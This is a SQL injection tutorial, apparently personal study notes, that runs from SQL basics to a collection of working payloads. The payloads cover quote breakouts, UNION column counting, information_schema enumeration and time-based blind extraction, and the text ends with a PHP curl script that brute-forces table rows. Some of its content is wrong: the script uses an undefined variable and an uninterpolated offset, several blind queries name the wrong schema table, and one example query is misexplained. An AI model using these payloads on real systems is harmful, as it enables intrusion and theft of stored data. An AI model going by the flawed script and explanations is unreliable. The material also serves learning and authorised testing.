SQL Injection
Basics of SQL
SQL means "structured query language" and is a common database format used to store and retrieve data on dynamic web pages.
A database is structured into different objects. These are
- Databases, which are a named collection of tables.
- Tables, which are grid-like structures storing data in columns and rows
- Columns, which are data fields of a given type.
- Rows, which are the individual data stored in the rows.
So a table might be represented something like this:
username | ID | description | passwd |
---|---|---|---|
harvey | 12345 | senior partner | dhqiduqhfd7 |
jessica | 54321 | managing partner | fdwoufjw89 |
louis | 73482 | weird guy who goes mudding | fchwiuvcw78o |
mike | 43782 | junior associate | cjw97u4njfvcwe |
The columns here are username
, ID
, description
and passwd
.
Under the username
column, we have the rows harvey
, jessica
, louis
and mike
.
If this table were part of, say, a forum script's database, you might have other tables in the database that relate to say, post content, or user profile info, etc. These other tables might be grouped together in the same database, and that database likely lives on the SQL server with several others that support other apps.
Accessing data in an SQL database
The typical procedure for accessing anything on an SQL DB is as follows:
- Connect to the SQL server using credentials.
- Select a database.
- Pass a query that either stores or retrieves data.
Usually, in a web context, a connection script with stored credentials will connect to the DB server and select the database, while other functions in the code pass pre-defined queries to the server. For example, a mysql connection in PHP might look something like this:
$con = mysqli_connect("localhost","someUser","p@55w0rd","someDB");
In this case someUser
authenticated using password p@55w0rd
to the MySQL server on localhost
, requesting access to the database called someDB
.
This would establish a connection that the PHP script could use to then pass queries to the server. These would look something like this:
SELECT username FROM theFirm WHERE description = 'senior partner';
If we assume that the example table from above is called theFirm
, then this query would return harvey
, as that is the username
field that exists WHERE
the ID
is also equal to 12345
.
If you want to understand MySQL in more detail, please consider going through W3Schools' tutorial on the matter.
How SQLi works in general.
SQli is yet another injection technique that isn't very dissimilar from command injection in many ways. Like with that sort of injection, we aim to insert an arbitrary SQL query into one that the application provides for us by abusing an unsanitized input.
Let's consider our example query from above, but imagine that the description
column is populated with a variable rather than being hard coded:
SELECT username FROM theFirm WHERE description = '$VARIABLE';
If we supply something predictable like senior partner
, the app will work correctly, but if we do something like the following, we can achieve arbitrary execution:
SELECT username FROM theFirm WHERE description = '' OR 1=1; --';
Just like with command injection, we have a "breakout" (the single quote '
), then our arbitrary code, and then a "break in" to close out our arbitrary statement (in this case, the comment marker --
, which tells the DB application to ignore everything after it).
Note that while I use single quote for all of the example payloads in this article, double quotes "
and other sequences may be necessary to break out of certain apps, depending on how the underlying code is written. The following are useful examples:
'
"
`
')
")
`)
'))
"))
`))
This example would return all usernames, because it's condition is effectively to return usernames where "1=1", i.e. where a username is "true".
Error Based SQLi
Error based SQLi is when we receive the output to our malicious query through displayed error messages. Unfortunately for us, error reporting is rarely enabled on production servers, so it's not something we can commonly exploit.
In-band UNION Based SQLi
In-Band SQLi referrs to SQLi where we can see the results of our malicious query directly in ourput that's printed to the page by the web app. This would be in cases like where data from the database is being retrieved for output, e.g. with like a forum script, etc.
UNION
is a particular SQL statement that allows two queries to effectively be run together, so long as they have the same number of parameters. So for example:
SELECT username, ID FROM theFirm UNION SELECT passwd, description FROM theFirm;
This would select username
and ID
, but also run these together with passwd
and description
and interleave them into the same output. E.g. after all username
s have been output, the DB would begin outputting the passwd
s, and in a seperate column, it would give all ID
s and description
s.
Note that we have to have the same number of parameters on both sides of the UNION
. For example, this would NOT work:
SELECT username, ID FROM theFirm UNION SELECT passwd FROM theFirm;
We must have the same number of parameters, so since the leftmost query has 2 parameters in this case, the right side parameter must also have 2.
Counting Columns for our UNION
Simply enough, we can use an iterative approach using a payload similar to the following to count the columns:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
We will cause errors if the number of NULL
s do not match the number of fields returned in the original query. Naturally, if more than 3 fields are needed, we can iteratively just add more NULL
s to test.
Once you no longer have errors in the output, you know you have the right number of columns and can move on.
Enumerating Databases
To enumerate the current database, we can do the following:
' UNION SELECT database(); --
Note that in these examples, I'm only assuming that the underlying query returns one field. If we had a situation where the underlying query had more than one, we could do something like this:
' UNION SELECT database(),NULL; --
' UNION SELECT database(),NULL,NULL; --
...and so forth.
Anyway, to enumerate all databases, we would do something like the following:
' UNION SELECT schema_name FROM information_schema.schemata;--
Note that the NULL
trick from above is done on the parameters to the SELECT
statement, so for adding more fields, we'd do something like so:
' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata;--
This will be the case with all of the following payloads as well.
Enumerating Tables
Once we've gotten some database names, we can drill down on tables. These can be retrieved like so:
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='databaseName';--
databaseName
here is simply a placeholder. Fill it in with whatever database name you enumerated prior. Note that we could have specified table_scheme=database()
if we had wanted to enumerate the current DB instead.
Enumerating Columns
Once we get the table names, we can grab columns:
' UNION SELECT column_name FROM information_schema.columns WHERE table_schema='databaseName';--
Once we have columns and tables, we should have enough to retrieve individual rows and thus dump the data from the database.
' UNION SELECT columnName FROM databaseName.tableName;--
Again, the field names are just placeholders here, but you get the idea.
Blind UNION SQLi
Blind SQLi is SQLi that uses time delays to infer information about what's in a database. This is usually used when no output is given by a query, e.g. with INSERT
and UPDATE
queries for putting input into the DB.
Usually, we'll use a conditional and the sleep()
function to cause a delay if some piece of information is true. This may look something like this:
' UNION SELECT IF (1=1, sleep(3), 'false') FROM database.table WHERE column='some data'; --
If "some data" is actually data in a column, the sleep(3)
function will run, which will cause the request to take 3 seconds longer than usual. From this, we can use wordlists to supply values and brute force for data.
Similarly, we can brute character by character with something like this:
' UNION SELECT IF(SUBSTRING(column_we_want,1,1) = CHAR(116),sleep(3),null) FROM database.table WHERE key_column = "some value"; --
SUBSTRING()
looks at a particular subset of characters. column_we_want
would be the particular column of the row we're trying to brute, while 1,1
means that we're starting at the first character, and selecting 1 character. CHAR()
is referencing the ASCII codes. In this case 116
is lowercase "t". This whole thing is basically saying "if the first letter is t, sleep for three seconds". We could hypothetically brute the entire row's content by stepping though each substring with every ASCII code. E.g. 2, 1 is the second character, 3, 1 the third and so on, while also flipping through the ASCII codes.
Note that unlike password bruteforcing, which has to correctly guess every letter in a sequence simultaneously, we only have to brute force one character at a time, and so while this can take several hours to brute something, it doesn't take them impossibly long periods of time that password brute forcing tends to take.
In any case, we can use the above sorts of queries to "blindly" enumerate the same sort of data as we did with in-band UNION injections.
Time based Database Enumeration
Using a wordlist:
' UNION SELECT IF (1=1, sleep(3), 'false') FROM information_schema.schemata WHERE schema_name = 'WORDLIST CONTENT' ;--
Bruting character-by-character:
' UNION SELECT IF(SUBSTRING(schema_name,1,1) = CHAR(116),sleep(3),null) FROM information_schema.schemata; --
Time based Table Enumeration
Note that in order to enumerate the table, you need the database names. This will be a trend going down, as in order to enumerate columns, you'll need tables, etc.
Using a wordlist:
' UNION SELECT IF (1=1, sleep(3), 'false') FROM information_schema.schemata WHERE table_schema='databaseName' AND table_name = 'WORDLIST CONTENT';--
Bruting character-by-character:
' UNION SELECT IF (SUBSTRING(table_name,1,1) = CHAR(116),sleep(3),null) FROM information_schema.schemata WHERE table_schema='databaseName';--
Time based Column Enumeration
Once we have some table names, we can brute the columns in the table.
' UNION SELECT IF (1=1, sleep(3), 'false') FROM information_schema.columns WHERE table_schema='database name' AND table_name='table name' AND column_name='WORDLIST CONTENT';--
Bruting character-by-character:
' UNION SELECT IF (SUBSTRING(column_name,1,1) = CHAR(116),sleep(3),null) FROM information_schema.columns WHERE table_schema='database name' AND table_name='table name';--
Time based Row Bruteforcing
Once we get ahold of the column names, we can start extracting data. It's highly unlikely that the data in the individual rows will be something we can extract with a wordlist, so we will almost certainly need to do character-by-character brute forcing.
' UNION SELECT IF (SUBSTRING(columnName,1,1) = CHAR(116),sleep(3),null) FROM database.table LIMIT 1 OFFSET 0';--
In this case, we use LIMIT
to say that we only want one result, and we can iterate through OFFSET
s. Zero means that we're parked at the first returned result, and we can increment this to get through each result until we've brute forced the entire table.
Automating this
Obviously, any of these time based blind attacks will need some sort of automation in order to be effective in a practical scenario. For this, we could do something like the following PHP script:
<?php
$char_rng = range(32, 126, 1);
$host = "http://example.com/";
for ($i=0;$i<25565;$i++)
{
echo "\n";
for ($pos = 0; $pos<43; $pos++)
{
for ($char = 0; $char < sizeof($hex);$char++)
{
$payload = '\' UNION SELECT IF(SUBSTRING(columnName,' . $pos . ',1) = CHAR(' . $char_rng[$char] . '),sleep(3),null) FROM database.table LIMIT 1 OFFSET $i; --';
$urlenc = urlencode($payload);
$command = 'curl ' . $host . '?someGETparameter=' . $urlenc . ' -s -o /dev/null -w %{time_total}';
$cmdexec = system($command);
if($cmdexec > 3)
{
echo $char_rng[$char];
} elseif($char_rng[$char] == sizeof($char_rng)){
echo 'Character range exhausted. There are either no more rows, or the data contained does not conform to the ASCII range specified.';
die();
}
}
}
?>
This would be for bruting the row content when the column, table and database are known. Payloads and flow control could be modified as desired.
Going further
As in many cases, Hacktricks has a great store of resources on SQLi that can give even more ideas than what I've presented.
Additionally, while knowing how to accomplish SQLi manually may be useful during exploit development or other processes, the automated tool SQLMap certainly exists and can be more practical in some situations to help discover and exploit vulnerabilities.